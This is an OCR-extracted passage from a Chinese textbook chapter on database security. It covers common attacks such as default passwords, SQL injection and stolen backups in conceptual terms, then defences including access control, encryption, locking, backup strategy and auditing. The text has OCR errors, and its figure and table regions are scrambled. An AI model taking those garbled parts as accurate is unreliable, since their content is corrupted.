2. 数据 库 系 统 安全 的 含义 
数据 库 系 统 安全 是 指 为 数据 库 系统 建立 的 安全 保护 措施 ,以 保护 数据 库 系 统 软 件 和 其 
中 的 数据 不 因 偶然 和 恶意 的 原因 而 遭 到 破坏 、 算 改 和 窃取 。 
数据 库 系 统 安全 主要 包含 两 个 方面 : 系统 运行 安全 和 数据 库 数据 安全 。 
(1) 系统 运行 安全 ,主要 是 指 : 
硬件 运行 安全 ,如 路 由 器 、 网 关 等 的 功能 是 否 完善 ,是 否 有 安全 保护 措施 。 
法 律 、 政 策 的 保护 ,如 用 户 是 否 有 合法 权利 ,政策 是 否 允 许 等 。 
物理 控制 安全 ,如 机 房 加 锁 、 机 器 放置 物理 位 置 、 数 据 物理 分 布 等 。 
操作 系统 安全 ,如 数据 文件 是 否 被 保护 ,操作 系统 漏洞 补丁 等 。 
灾害 .故障 恢复 , 死 锁 的 避免 和 解除 ,如 数据 备份 的 方式 ,恢复 策略 等 。 
防止 电磁 信息 泄漏 。 
(2) 数据 库 数据 安全 ,主要 是 指 : 
。 用 户口 令 鉴 别 。 
。 用 户 存 取 权 限 控制 。 
。 数据 存 取 权限 、 方 式 控 制 。 
。 审计 跟踪 。 
。 数据 加 密 。 


4.7.2 数据库 的 常见 攻击 方式 


数据 库 攻 击 具 有 很 强 的 隐蔽 性 ,有 时 黑客 从 进入 到 退出 一 次 数据 库 攻 击 只 需 不 到 10 秒 
钟 时 间 就 可 完成 ,这 个 时 间 对 于 数据 库 管理 员 来 说 ,即使 是 注意 到 和 人 侵 者 都 几乎 不 够 。 因 
此 ,在 数据 被 损害 很 长 时 间 之 前 ,许多 数据 库 攻击 都 没有 被 企业 注意 到 。 很 多 情况 下 ,黑客 
利用 一 些 简 单 手段 攻击 数据 库 , 如 利用 弱 口 令 和 不 严谨 的 配置 ,以 及 利用 未 打 补 丁 的 已 知 漏 
洞 等 。 下 面 介绍 常见 的 数据 库 攻 击 手段 。 

1. 对 弱 口 令 或 默认 用 户 名 /口令 的 破解 

很 多 数据 库 产品 在 出 厂 时 都 设置 了 默认 用 户 和 口令 ,而 企业 在 安装 后 ,容易 忘记 修改 默 
认 用 户 的 口令 ,导致 了 安全 隐患 。 如 以 前 的 Oracle 数据 库 有 一 个 默认 的 用 户 名 Scott 及 默 
认 的 口令 tiger; 而 微软 的 SQL Server 的 系统 管理 员 账 户 的 默认 口令 也 是 众所周知 。 

即使 是 业务 用 户 和 口令 ,虽然 唯一 ,但 是 如 果 口 令 设 置 过 于 简单 ,也 很 容易 被 黑客 获取 。 
一 些 口令 破解 的 工具 通过 网 络 搜索 也 很 容易 获得 ,使 得 弱 口 令 的 安全 性 极 差 。 

2. 针对 未 打 补 丁 的 数据 库 漏 洞 

数据 库 厂 商 一 直 致 力 于 为 其 数据 库 产品 进行 升级 和 更 新 补丁 ,以 期 防范 更 多 的 黑客 攻 
击 , 但 是 企业 更 新 补丁 的 速度 和 彻底 性 却 不 是 很 让 人 满意 ,原因 在 于 数据 库 升 级 更 新 需要 时 
间 和 成 本 ,而 企业 由 于 业务 系统 运行 的 连续 性 和 稳定 性 要 求 ,经常 不 能 及 时 更 新 补丁 ,或 者 
不 能 更 新 所 有 补丁 。 在 此 种 矛盾 下 ,黑客 利用 更 新 补丁 的 时 间 间 隙 进行 数据 库 攻击 。 

有 分 析 说 ,在 今天 正在 运行 的 多 数 Oracle 数据 库 中 ,至 少 有 10 到 20 个 已 知 的 漏洞 , 黑 
客 们 可 以 用 这 些 漏 洞 攻击 进入 。 而 且 , 一 些 黑客 站 点 将 一 些 已 知 的 数据 库 漏 洞 的 利用 脚本 
发 布 了 出 来 ,更 使 得 漏洞 攻击 成 为 一 种 常用 手段 。 
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3. SQL 注入 

SQL 注入 攻击 是 黑客 对 数据 库 进行 攻击 的 常用 手段 之 一 。 随 着 B/S 模式 应 用 开发 的 
发 展 ,使 用 这 种 模式 编写 应 用 程序 的 程序 员 也 越 来 越 多 。 但 是 ,由 于 程序 员 的 水 平 及 经 验 参 
差 不 齐 ,相当 大 一 部 分 程序 员 在 编写 代码 的 时 候 , 没 有 对 用 户 输入 数据 的 合法 性 进行 判断 ， 
使 应 用 程序 存在 安全 隐患 。 用 户 可 以 提交 一 段 数据 库 查询 代码 ,根据 程序 返回 的 结果 ,获得 
某 些 他 想 得 知 的 数据 ,这 就 是 所 谓 的 SQL Injection, 即 SQL 注入 。SQL 注入 是 从 正常 的 
WWW 端口 访问 ,而且 表面 看 起 来 跟 一 般 的 Web 页 面 访问 没什么 区 别 , 所 以 ,目前 市 面 的 
防火 墙 都 不 会 对 SQL 注入 发 出 警报 ,如 果 管 理 员 没 有 查看 IIS 日 志 的 习惯 ,可 能 被 人 侵 很 
长 时 间 都 不 会 发 觉 。 另 外 ,SQL 注入 的 手法 相当 灵活 ,为 了 成 功 获 取 想 要 的 数据 ,需要 构造 
巧妙 的 SQL 语句 。 

4. 特权 提升 

特权 提升 通常 与 管理 员 错 误 的 配置 有 关 , 如 一 个 用 户 被 误 授予 超过 其 实际 需要 的 访问 
权限 。 另 外 ,拥有 一 定 访问 权限 的 用 户 可 以 轻松 地 从 一 个 应 用 程序 跳 转 到 数据 库 , 即 使 他 并 
没有 这 个 数据 库 的 相关 访问 权限 。 黑 客 只 需要 得 到 少量 特权 的 用 户口 令 , 就 可 以 进入 数据 
库 系统 ,然后 访问 读 取 数据 库 内 的 任何 表 , 包 括 信用 卡 信息 .个 人 信息 。 

5. 窃取 备份 

如 果 备 份 硬盘 在 运输 或 仓储 过 程 中 被 窃取 ,而 这 些 磁 带 上 的 数据 库 数 据 又 没有 加 密 的 
话 ,黑客 根本 不 需要 接触 网 络 就 可 以 实施 破坏 。 通 过 窃取 备份 实施 的 攻击 主要 是 由 于 管理 
员 对 备份 的 介质 下 于 跟踪 和 记录 ,没有 采取 对 备份 介质 上 的 数据 进行 加 密 等 预防 措施 。 


4.7.3 数据 库 系 统 的 安全 框架 


数据 库 系统 的 安全 除 依赖 自身 内 部 的 安全 机 制 外 ,还 与 外 部 网 络 环境 、 应 用 环境 ` 从业 
人 员 素 质 等 因素 息息相关 ,因此 从 广义 上 讲 , 数 据 库 系统 的 安全 框架 可 以 划分 为 3 个 层次 : 
网 络 系统 层次 、 和 宿主 操作 系统 层次 数据库 管理 系统 层次 。 这 3 个 层次 构筑 成 数据 库 系统 的 
安全 体系 ,与 数据 安全 的 关系 是 逐步 紧密 的 ,防范 的 重要 性 也 逐 层 加 强 , 从 外 到 内 、 由 表 及 里 
保证 数据 的 安全 。 下 面 分 别 就 3 个 层次 具体 论述 。 

1. 网 络 系统 层次 

网 络 系统 是 数据 库 应 用 的 外 部 环境 和 基础 ,数据 库 系 统 要 发 挥 其 强大 作用 离 不 开 网 络 
系统 的 支持 ,数据 库 系 统 的 用 户 ( 如 异地 用 户 、 分 布 式 用 户 ) 也 要 通过 网 络 才能 访问 数据 库 的 
数据 。 网 络 系统 的 安全 是 数据 库 安 全 的 第 一 道 屏障 ,外 部 人 侵 首 先 就 是 从 人 侵 网 络 系统 开 
始 的 。 网 络 人 侵 试图 破坏 信息 系统 的 完整 性 机密 性 ,具有 以 下 特点 : 

(1) 没有 地 域 和 时 间 的 限制 ,跨越 国界 的 攻击 就 如 同 在 现场 一 样 方便 。 

(2) 通过 网 络 的 攻击 往往 混杂 在 大 量 正 常 的 网 络 活动 之 中 ,隐蔽 性 强 。 

(3) 入侵 手段 更 加 隐蔽 和 复杂 。 

计算 机 网 络 系统 开放 式 环境 面临 的 威胁 主要 有 以 下 几 种 类 型 : 

(1) 欺骗 (masquerade); 

(2) 重 发 (replay); 

(3) 报 文 修改 (modification of message); 

(4) 拒绝 服务 (deny of service); 
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(5) 陷阱 门 (trapdoor); 

(6) 特洛伊 木马 (trojan horse); 

(7) 攻击 ,例如 透 纳 攻击 (tunneling attack) .应 用 软件 攻击 等 。 

这 些 安全 威胁 是 无 时 无 处 不 在 的 ,因此 必须 采取 有 效 的 措施 来 保障 系统 的 安全 。 

2. 宿主 操作 系统 层次 安全 技术 

操作 系统 是 大 型 数据 库 系统 的 运行 平台 ,为 数据 库 系统 提供 一 定 程度 的 安全 保护 。 目 
前 操作 系统 平台 大 多 数 集中 在 Windows NT 和 UNIX, 安 全 级 别 通常 为 C1,C2 级 。 主 要 安 
全 技术 有 操作 系统 安全 策略 、 安 全 管理 策略 .数据 安全 等 方面 。 

操作 系统 安全 策略 用 于 配置 本 地 计算 机 的 安全 设置 ,包括 密码 策略 、 账 户 锁定 策略 、 审 
核 策 略 、IP 安全 策略 、 用 户 权利 指派 、 加 密 数 据 的 恢复 代理 以 及 其 他 安全 选项 。 具 体 可 以 体 
现在 用 户 账 户 .口令 .访问 权限 .审计 等 方面 。 

(1) 用 户 账 户 用 户 访问 系统 的 "身份 证 ”, 只 有 合法 用 户 才 有 账户 。 

(2) 口令 : 用 户 的 口令 为 用 户 访问 系统 提供 一 道 验证 。 

(3) 访问 权限 : 规定 用 户 的 权限 。 

(4) 审计 : 对 用 户 的 行为 进行 跟踪 和 记录 ,便于 系统 管理 员 分 析 系 统 的 访问 情况 以 及 
事后 的 追查 使 用 。 

安全 管理 策略 是 指 网 络 管理 员 对 系统 实施 安全 管理 所 采取 的 方法 及 策略 。 针 对 不 同 的 
操作 系统 、 网 络 环境 需要 采取 的 安全 管理 策略 一 般 也 不 尽 相 同 ,其 核心 是 保证 服务 器 的 安全 
和 分 配 好 各 类 用 户 的 权限 。 

数据 安全 主要 体现 在 以 下 几 个 方面 : 数据 加 密 技术 、 数 据 备 份 . 数 据 存储 的 安全 性 、 数 
据 传输 的 安全 性 等 。 可 以 采用 的 技术 很 多 , 主要 有 Kerberos 认证 、IPSec、 SSL、 TLS、 
VPN(PPTP、L2TP) 等 技术 。 

3. 数据 库 管理 系统 层次 安全 技术 

数据 库 系统 的 安全 性 很 大 程度 上 依赖 于 数据 库 管理 系统 。 如 果 数 据 库 管理 系统 安全 机 
制 非常 强大 , 则 数据 库 系统 的 安全 性 能 就 较 好 。 目 前 市 场 上 流行 的 是 关系 式 数据 库 管 理 系 
统 ,其 安全 性 功能 很 弱 , 这 就 导致 数据 库 系 统 的 安全 性 存在 一 定 的 威胁 。 

由 于 数据 库 系统 在 操作 系统 下 都 是 以 文件 形式 进行 管理 的 ,因此 ,入 侵 者 可 以 直接 利用 
操作 系统 的 漏洞 窃取 数据 库 文件 ,或 者 直接 利用 OS 工具 来 非法 伪造 、 算 改 数 据 库 文件 内 
容 。 这 种 隐患 一 般 数 据 库 用 户 难 以 察觉 。 分 析 和 堵塞 这 种 漏洞 被 认为 是 B2 级 的 安全 技术 
措施 。 

数据 库 管理 系统 层次 安全 技术 主要 是 用 来 解决 这 一 问题 , 即 当 前 面 两 个 层次 已 经 被 突 
破 的 情况 下 仍 能 保障 数据 库 数据 的 安全 ,这 就 要 求 数据 库 管理 系统 必须 有 一 套 强 有 力 的 安 
全 机 制 。 解 决 这 一 问题 的 有 效 方法 之 一 是 数据 库 管 理 系 统 对 数据 库 文件 进行 加 密 处 理 , 使 
得 即使 数据 不 幸 泄露 或 者 丢失 ,也 难以 被 人 破译 和 阅读 。 

可 以 考虑 在 3 个 不 同 层次 实现 对 数据 库 数据 的 加 密 , 这 3 个 层次 分 别 是 OS 层 `.DBMS 
内 核 屋 和 DBMS 外 层 。 


4.7.4 数据 库 的 安全 技术 


为 了 保护 数据 库 的 数据 安全 ,需要 采取 多 种 安全 技术 ,加 强 数据 库 性 能 监测 和 入 侵 识别 
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能 力 ,提高 数据 库 设 计 者 、 使 用 者 和 维护 者 的 安全 意识 ,多 方位 保护 数据 安全 。 

下 面 介绍 常用 的 数据 库 安全 技术 。 

1. 访问 及 存 取 控制 

大 部 分 数据 库 产品 都 提供 了 身份 验证 、 账 号 与 角色 分 配 、 外 部 连接 访问 接口 控制 等 , 保 
证 数据 库 的 访问 控制 。 下 面 以 微软 的 SQL Server 数据 库 为 例 进行 介绍 。 

SQL Server 的 安全 控制 分 为 3 个 级 别 : 操作 系统 级 、 数 据 库 级 、 数 据 库 对 象 级 ,其 中 数 
据 库 级 的 访问 控制 又 分 为 登录 认证 和 数据 库 访问 控制 ,如 图 4-22 所 示 。 


操作 系统 SQL Server 

T 安全 | 登录 认证 
用 户 客户 机 /服务 器 

三 数据库 对 象 

1 表 、 视图 、 | 数据 库 对 象 

| 约束 、 触 发 器 、1 访问 许可 权 

1 ”存储 过 程 、 | 

\ ”游标 … 1 


图 4-22 SQL Server 的 安全 控制 


身份 验证 是 指 当 用 户 访问 系统 时 ,系统 对 该 用 户 的 账号 和 口令 的 确认 过 程 。 身 份 验证 
的 内 容 包 括 确认 用 户 的 账号 是 否 有 效能 和 否 访问 系统 .能 访问 系统 的 哪些 数据 等 。 

SQL Server 提供 两 种 身份 验证 方式 : Windows 身份 验证 和 混合 身份 验证 。Windows 
身份 验证 指 的 是 SQL Server 的 登录 安全 性 直接 集成 到 Windows 的 安全 上 , 它 允 许 
Windows 服务 器 验证 用 户 。 使 用 这 种 验证 方式 ,SQL Server 就 可 以 利用 Windows 的 安全 
特性 ,例如 安全 验证 和 密码 加 密 审核、 密码 过 期 .最 短 密码 长 度 , 以 及 在 多 次 登录 请 求 无 效 
后 锁定 账号 。 混 合 模式 最 适合 用 于 外 界 用 户 访问 数据 库 或 不 能 登录 到 Windows 域 时 。 混 
合 方式 的 SQL Server 身份 验证 方式 有 下 列 优点 : 混合 方式 允许 非 Windows 客户 、Internet 
客户 和 混合 的 客户 组 连接 到 SQL Server 中 。 

管理 数据 库 中 数据 的 存 取 操作 ,目前 采用 的 大 部 分 是 RBAC(role-based access control， 
基于 角色 的 存 取 控 制 ) 方 式 。 角 色 就 是 一 组 权限 的 组 合 , 角 色 可 以 根据 组 织 中 的 不 同 工 作 创 
建 ,然后 根据 用 户 的 责任 和 资格 分 配角 色 , 用 户 可 以 轻松 地 进行 角色 转换 。 在 SQL Server 
中 ,系统 利用 角色 设置 ,管理 用 户 的 权限 。 这 样 只 对 角色 进行 权限 设置 便 可 以 实现 对 所 有 用 
户 权限 的 设置 ,大 大 减少 了 管理 员 的 工作 量 。 常 用 的 有 以 下 几 种 角色 : 

(1) public 角色 ; 

(2) 固定 服务 器 角色 ; 

(3) 固定 数据 库 角 色 ; 

(4) 用 户 定义 的 角色 ; 

(5) 应 用 程序 角色 。 

2. 数据 完整 性 

数据 的 完整 性 主要 是 指 防止 数据 库 中 存在 不 符合 语义 的 数据 ,防止 错误 信息 的 输入 和 
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输出 。 数 据 完整 性 包括 数据 的 正确 性 有效 性 和 一 致 性 。 维 护 数据 的 完整 性 非常 重要 ,这 也 
是 数据 库 数据 反映 和 支持 现实 世界 的 重要 手段 。 如 一 个 学 生 不 能 有 两 个 学 号 ;学 生 的 年 龄 
应 在 0 一 20 之 间 ,如果 录 入 员 不 小 心 将 “20 写成 "2000” ,数据 库 系统 应 能 及 时 自动 识别 并 提 
示 用 户 ; 只 有 在 学 生 名 册 中 出 现 的 学 生 才 能 进行 选课 和 记录 成 绩 ; 邮 政 编 码 中 只 能 出 现 数 
字 , 且 只 能 是 6 位 等 。 

为 实现 对 数据 的 完整 性 约束 ,要 求 系 统 有 定义 完整 性 约束 条 件 的 功能 和 检查 完整 性 约 
束 条 件 的 方法 。 数 据 库 中 的 所 有 数据 都 必须 满足 自己 的 完整 性 约束 条 件 ,这 些 约 束 包括 以 
下 几 类 : 实体 完整 性 、 域 完整 性 参照 完整 性 .用户 自 定义 完整 性 。 如 表 4-2 所 示 。 

表 4-2 数据 库 完 整 性 约束 
完整 性 约束 


完整 性 约束 
PRIMARY KEY 


完整 性 种 类 


| DEFAULT 


UNIQUE 
CHECK 


3. 数据 加 密 


对 数据 库 中 数据 加 密 是 为 增强 普通 关系 数据 库 管理 系统 的 安全 性 ,提供 一 个 安全 适用 
的 数据 库 加 密 平台 ,对 数据 库存 储 的 内 容 实 施 有 效 保护 。 它 通过 数据 库存 储 加 密 等 安全 方 
法 实现 了 数据 库 数据 存储 保密 和 完整 性 要 求 , 使 得 数据 库 以 密 文 方式 存储 并 在 密 态 方式 下 
工作 ,确保 了 数据 安全 。 

对 数据 进行 加 密 ,主要 有 3 种 方式 : 系统 中 加 密 、 客 户 端 (DBMS 外 层 ) 加 密 、 服 务 器 端 
(DBMS 内 核 层 ) 加 密 。 客 户 端 加 密 的 好 处 是 不 会 加 重 数据 库 服务 器 的 负载 ,并 且 可 实现 网 
上 的 传输 加 密 ,这 种 加 密 方式 通常 利用 数据 库 外 层 工 具 实 现 。 而 服务 器 端的 加 密 需 要 对 数 
据 库 管 理 系 统 本 身 进 行 操 作 , 属 核心 层 加 密 , 如 果 没 有 数据 库 开 发 商 的 配合 ,其 实现 难度 相 
对 较 大 。 此 外 ,对 那些 希望 通过 ASP 获得 服务 的 企业 来 说 ,只 有 在 客户 端 实 现 加 解密 ,才能 
保证 其 数据 的 安全 可 靠 。 

数据 库 加 密 系 统 分 成 两 个 功能 独立 的 主要 部 件 : 一 个 是 加 密 字典 管理 程序 , 男 一 个 是 
数据 库 加 解密 引擎 。 数 据 库 加 密 系 统 将 用 户 对 数据 库 信息 具 体 的 加 密 要 求 以 及 基础 信息 保 
存在 加 密 字典 中 ,通过 调用 数据 加 解密 引擎 实现 对 数据 库 表 的 加 密 、 解 密 及 数据 转换 等 功 
能 。 数 据 库 信息 的 加 解密 处 理 是 在 后 台 完 成 的 ,对 数据 库 服 务 器 是 透明 的 。 

以 微软 的 SQL Server 2005 数据 库 为 例 , 在 SQL Server 中 可 以 为 连接 ,数据 和 存储 过 
程 使 用 加 密 。 其 加 密 层 次 结构 如 图 4-23 所 示 。 箭 头 表示 常用 的 加 密 层 次 结构 。 

SQL Server 2005 提供 了 下 列 加 密 机 制 。 

(1) Transact-SQL 函数 。 插 入 或 更 新 项 时 可 使 用 Transact-SQL 函数 对 各 个 项 进行 
加 密 。 

(2) 非 对 称 密 钥 。 非 对 称 密 钥 由 私 钥 和 对 应 的 公 钥 组 成 。 每 个 密 钥 都 可 以 解密 另 一 个 
密 钥 加 密 的 数据 。 非 对 称 加 密 和 解密 相对 来 说 会 消耗 大 量 资源 ,但 它们 比 对 称 加 密 提 供 了 
更 高 的 安全 级 别 。 非 对 称 密 钥 可 用 于 加 密 对 称 密 钥 ,以 便 存 储 在 数据 库 中 。 


域 完整 性 
FOREIGN KEY 


CHECK 


9 % 


Windows 操 作 系统 级 别 。 | 季 头 显示 的 是 最 常用 的 
数据 保护 API(DPAPT) 宏 各 时， 
可 保护 服务 主 密 钥 。 人 


二 数据 库 主 密 钥 受 服务 主 
芋 氏 全 让 这 雪 全 信用 肛 4 | 密 铀 保护， 服务 主 密 角 由 。 | 虚线 显示 的 是 允许 透明 
可 以 更 改 为 只 使 用 密码 。 SQL Server 安 装 程序 创建 eo 数据 加 密 的 体系 结构 。 


数据 库 主 密 钥 x 


\ 
\ 
\ 


图 4-23 SQL Server 2005 的 数据 加 密 机 制 


(3) 对 称 密 钥 。 对 称 密 钥 是 加 密 和 解密 都 使 用 的 一 个 密 钥 。 使 用 对 称 密 钥 进行 加 密 和 
解密 非常 快 ,适用 于 对 数据 库 中 敏感 数据 的 日 常 使 用 。 

(4) 证 书 。 公 钼 证 书 ( 通 常 只 称 为 证 书 ) 是 一 个 数字 签名 语句 , 它 将 公 钥 的 值 绑 定 到 拥 
有 对 应 私 钥 的 人 员 、 设 备 或 服务 的 标识 上 。 证 书 是 由 证 书 颁 发 机 构 (CA) 颁发 和 签名 的 。 
证 书 的 主要 好 处 是 使 主机 不 再 需要 为 每 个 主题 维护 一 组 密码 。 相 反 , 主 机 只 需要 与 证 书 颁 
发 者 建立 信任 关系 ,然后 证 书 颁 发 者 就 可 以 签名 无 限 数 量 的 证 书 。 

(5) 透明 数据 加 密 。 透 明 数 据 加 密 (TDE) 是 使 用 对 称 密 钥 进行 加 密 的 一 种 特殊 情况 。 
TDE 使 用 称 为 数据 库 加 密 密 钥 的 对 称 密 钥 加 密 整个 数据 库 。 数 据 库 加 密 密 钥 受 由 数据 库 
主 密 钥 或 存储 在 EKM 模块 中 的 非 对 称 密 钥 保护 的 其 他 密 钥 或 证 书 保护 。 

4. 并 发 控制 

目前 ,多 数 数据 库 都 是 大 型 多 用 户 数据 库 , 所 以 数据 库 中 的 数据 资源 必须 是 共享 的 。 为 
了 充分 利用 数据 库 资 源 ,应 允许 多 个 用 户 并 行 操作 数据 库 。 并 发 控制 指 的 是 当 多 个 用 户 同 
时 更 新 行 时 ,用 于 保护 数据 库 完整 性 的 各 种 技术 。 并 发 机 制 不 正确 可 能 导致 脏 读 、 幻 读 和 不 
可 重复 读 等 问题 发 生 。 

事务 和 锁 是 并 发 控制 的 主要 机 制 ,SQL Server 通过 支持 事务 机 制 来 管理 多 个 事务 , 保 
证 数据 的 一 致 性 ,并 使 用 事务 日 志保 证 修改 的 完整 性 和 可 恢复 性 。SQL Server 遵从 三 级 封 
锁 协 议 , 从 而 有 效 地 控制 并 发 操作 可 能 产生 的 丢失 更 新 . 读 “* 脏 ?数据 ,不 可 重复 读 等 错误 。 
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SQL Server 具有 多 种 不 同 粒度 的 锁 , 允许 事务 锁定 不 同 的 资源 ,并 能 自动 使 用 与 任务 相对 
应 的 等 级 锁 来 锁定 资源 对 象 ,以 使 锁 的 成 本 最 小 化 。 

数据 库 提供 的 基本 封锁 类 型 有 : 

(1) 排他 锁 (eXclusive lock, 简 记 为 X 锁 ): 又 称 为 写 锁 , 若 事务 T 对 数据 对 象 A 加 上 
X 锁 , 则 只 允许 工读 取 和 修改 A, 其 他 任何 事务 都 不 能 再 对 A 加 任何 类 型 的 锁 ,直到 全 释放 
A 上 的 锁 。 排 他 锁 保 证 了 其 他 事务 在 工 释放 A 上 的 锁 之 前 不 能 再 读 取 和 修改 A。 

(2) 共享 锁 (Share lock , 简 记 为 S 锁 ) : 又 称 为 读 锁 , 若 事务 对 数据 对 象 A 加 上 S 锁 ， 
则 其 他 事务 只 能 再 对 A 加 S 锁 ,而 不 能 加 X 锁 ,直到 工 释放 A 上 的 S 锁 。 共 享 锁 保 证 了 其 
他 事务 可 以 读 A, 但 在 工 释放 A 上 的 S 锁 之 前 不 能 对 A 做 任何 修改 。 

5. 备份 和 恢复 

数据 库 的 失效 往往 导致 一 个 机 构 的 瘫痪 ,然而 ,任何 一 个 数据 库 系统 不 可 能 总 不 发 生 故 
障 。 数 据 库 系统 对 付 故障 有 两 种 办 法 : 其 一 是 尽 可 能 提高 系统 的 可 靠 性 ;其 二 是 在 系统 发 
生 故 障 后 ,把 数据 库 恢 复 至 原来 的 状态 。 仅 仅 有 前 者 是 远 远 不 够 的 ,后 者 是 更 为 重要 的 , 即 
必须 有 数据 库 发 生 故 障 后 恢复 原状 态 的 技术 。 

(1) 数据 库 故障 的 类 型 

数据 库 发 生 故 障 的 类 型 主要 分 为 以 下 4 类 : 

@ 事务 故障 : 某 个 事务 在 运行 过 程 中 由 于 种 种 原因 未 运行 至 正常 终止 点 就 天 折 。 发 
生 的 原因 主要 有 : 输入 数据 有 误 ;运算 溢出 ;违反 了 某 些 完整 性 限制 ; 某 些 应 用 程序 出 错 ; 并 
行事 务 发 生死 锁 等 。 

@ 系统 故障 : 系统 发 生 瘫 痪 ,内 存 中 的 信息 丢失 ,而 存储 在 外 存储 设备 上 的 数据 未 受 
到 影响 。 

@ 介质 故障 : 最 严重 的 故障 ,存储 在 外 存 上 的 数据 部 分 损失 或 全 部 损失 。 

@ 计算 机 病毒 : 计算 机 病毒 对 计算 机 系统 的 威胁 也 同样 存在 于 数据 库 系 统 中 。 

(2) 数据 备份 类 型 及 策略 

数据 库 产 品 都 提供 了 多 种 数据 库 备份 方式 ,用户 可 以 按照 业务 需求 和 数据 重要 性 进行 
备份 方式 的 选择 和 备份 策略 的 制定 。 

以 SQL Server 2005 为 例 ,提供 了 以 下 4 种 备份 方式 : 

Q@ 完全 备份 。 备 份 完整 的 数据 库 信息 ,包括 数据 文件 和 日 志文 件 。 特 点 是 备份 所 需 时 
间 长 ,占用 备份 设备 空间 大 ,但 是 恢复 时 间 短 ,数据 恢复 最 可 靠 。 

@ 差异 备份 。 只 备份 上 次 完全 备份 之 后 的 数据 库 变化 的 数据 。 包 括 数据 文件 和 日 志 
文件 信息 。 特 点 是 备份 时 间 较 短 , 占 用 空间 较 少 ,但 是 恢复 时 需要 与 完全 备份 一 起 进行 。 

@ 日 志 备份 。 只 备份 日 志文 件 信息 。 特 点 是 备份 所 需 时 间 短 ,占用 空间 很 少 ,但 是 恢 
复 所 需 时 间 和 资源 多 。 

@ 文件 /文件 组 备份 。 对 数据 库 的 部 分 文件 进行 备份 。 一 般 应 用 于 大 型 数据 库 。 

数据 库 的 多 种 备份 方式 各 有 优 缺 点 ,因此 可 以 结合 使 用 ,并 制定 计划 自动 执行 ,以 形成 
数据 备份 的 完善 方案 。 

例如 对 于 一 般 的 办 公 自 动 化 系统 来 说 ,数据 量 不 是 很 大 ,数据 重要 性 程度 不 是 很 高 , 那 
么 可 以 制定 如 下 备份 策略 : 每 月 执行 一 次 完全 备份 ,每 天 只 执行 差异 备份 。 而 对 于 数据 敏 
感性 很 高 的 银行 系统 来 讲 , 需 要 制定 完善 的 备份 策略 ,如 每 周 执 行 完 全 备份 ,每 天 执行 差异 
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备份 ,而 每 3 个 小 时 执行 一 次 日 志 备份 ,加 大 备份 力度 。 

(3) 数据 恢复 策略 

把 数据 库 的 数据 从 错误 状态 恢复 到 某 一 已 知 的 正确 状态 ( 亦 称 为 一 致 状态 或 完整 状 
态 ) ,就 是 数据 库 的 恢复 。 恢 复 子 系统 是 数据 库 管 理 系 统 的 一 个 重要 的 组 成 部 分 ,而 且 还 相 
当 庞 大 ,常常 占 整 个 系统 代码 的 百 分 之 十 以 上 。 数 据 库 系统 所 采用 的 恢复 技术 是 否 行 之 有 
效 ,不 仅 对 系统 的 可 靠 程度 起 着 决定 性 作用 ,而 且 对 系统 的 运行 效率 也 有 很 大 影响 ,是 衡量 
系统 性 能 优 劣 的 重要 指标 。 

Q@ 事务 故障 的 恢复 策略 : 反 向 扫描 日 志文 件 ,对 事务 的 更 新 操作 做 逆 操 作 。 由 数据 库 
管理 系统 (DBMS) 自动 完成 ,对 用 户 透明 。 

@ 系统 故障 的 恢复 策略 : 首先 正 向 扫描 日 志文 件 , 找 出 在 故障 发 生前 已 经 提交 的 事 
务 ,将 其 事务 标识 记 入 重 做 队列 ,同时 找 出 故障 发 生 时 尚未 完成 的 事务 ,将 其 事务 标识 记 和 人 
撤销 队列 。 然 后 对 于 撤销 队列 的 事务 进行 撤销 处 理 ( 逆 操作 ) ,对 于 重 做 队列 的 事务 进行 重 
做 处 理 。 整 个 恢复 在 系统 重新 启动 时 自动 完成 ,不 需要 用 户 干预 。 

@ 介质 故障 的 恢复 策略 : 首先 重 装 数 据 库 , 恢 复 最 新 的 数据 库 备份 ,使 数据 库 恢复 到 
最 近 一 次 备份 时 的 一 致 性 状态 ,然后 装 和 人 最 新 的 日 志文 件 备份 , 重 做 已 经 完成 的 事务 。 介 质 
故障 的 恢复 需要 DBA 的 介入 。 

@ 数据 库 镜 像 : 为 了 避免 介质 故障 带 来 的 损失 ,很 多 数据 库 管 理 系统 都 提供 了 数据 库 
镜像 (mirror) 功 能 用 于 数据 库 恢 复 。 即 根据 DBA 的 要 求 ,自动 把 整个 数据 库 或 者 其 中 的 关 
键 数据 复制 到 另 一 个 磁盘 上 ,每 当主 数据 库 更 新 时 ,DBMS 自动 把 更 新 后 的 数据 复制 过 去 ， 
即 DBMS 自动 保证 镜像 数据 与 主 数据 库 的 一 致 性 。 这 样 , 当 出 现 介质 故障 时 ,可 以 由 镜像 
磁盘 继续 支持 业务 使 用 ,同时 ,DBMS 自动 利用 镜像 磁盘 数据 进行 数据 库 的 恢复 ,不 需要 关 
闭 系统 和 重 装 数据 库 副 本 。 如 图 4-24(a) 所 示 为 日 常情 况 下 主 数据 库 和 镜像 数据 库 的 应 用 
情况 ,图 4-24(b) 所 示 为 当主 数据 库 发 生 故 障 时 ,镜像 数据 库 继续 支持 业务 应 用 的 情况 。 


(b) 
图 4-24 数据 库 镜像 


6. 数据 库 审计 
数据 库 审计 是 指 监视 和 记录 用 户 对 数据 库 所 施加 的 各 种 操作 的 机 制 。 数 据 库 管理 系统 
的 审计 主要 分 为 : 语句 审计 、 特 权 审计 、 模 式 对 象 审计 和 资源 审计 。 语 句 审计 是 指 监视 一 个 
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或 者 多 个 特定 用 户 或 者 所 有 用 户 提交 的 SQL 语句 ;特权 审计 是 指 监视 一 个 或 者 多 个 特定 用 
户 或 者 所 有 用 户 使 用 的 系统 特权 ;模式 对 象 审计 是 指 监视 一 个 模式 中 在 一 个 或 者 多 个 对 象 
上 发 生 的 行为 ;资源 审计 是 指 监视 分 配给 每 个 用 户 的 系统 资源 。 审 计 机 制 应 该 至 少 记录 用 
户 标识 和 认证 客体 访问 、 授 权 用 户 进行 并 会 影响 系统 安全 的 操作 ,以 及 其 他 安全 相关 事件 。 
审计 的 策略 库 一 般 由 两 个 方面 因素 构成 , 即 数据 库 本 身 可 选 的 审计 规则 和 管理 员 设 计 的 触 
发 策略 机 制 。 


4.8 应 用 系统 安全 性 
4.8.1 办 公 软 件 安全 保护 


在 日 常 工 作 中 ,经 常用 一 些 办 公 软 件 ( 如 Microsoft Office 和 WPS Office) 来 制作 一 些 
文稿 ` 表 格 ,演示 文稿 和 数据 库 等 ,为 了 数据 安全 ,这 些 软件 都 提供 了 加 密 功能 。 

1. 加 密 Microsoft Office 文件 

(1) 对 Word,Excel,PowerPoint 文件 的 加 密 。 

